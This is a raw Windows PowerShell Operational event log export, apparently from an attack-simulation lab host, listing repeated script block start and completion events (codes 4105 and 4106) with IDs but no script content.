ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045814
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045813
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045812
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045811
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045810
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045809
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045808
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045807
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045806
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045805
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045804
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045803
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045802
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045801
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045800
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045799
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045798
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045797
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045796
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045795
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045794
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045793
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045792
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045791
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045790
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045789
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045788
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045787
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045786
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045785
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045784
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045783
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045782
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045781
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045780
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045779
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045778
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045777
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045776
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045775
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045774
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045773
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045772
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045771
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045770
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045768
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045767
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045766
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045765
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045764
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045763
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045762
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045761
Keywords=None
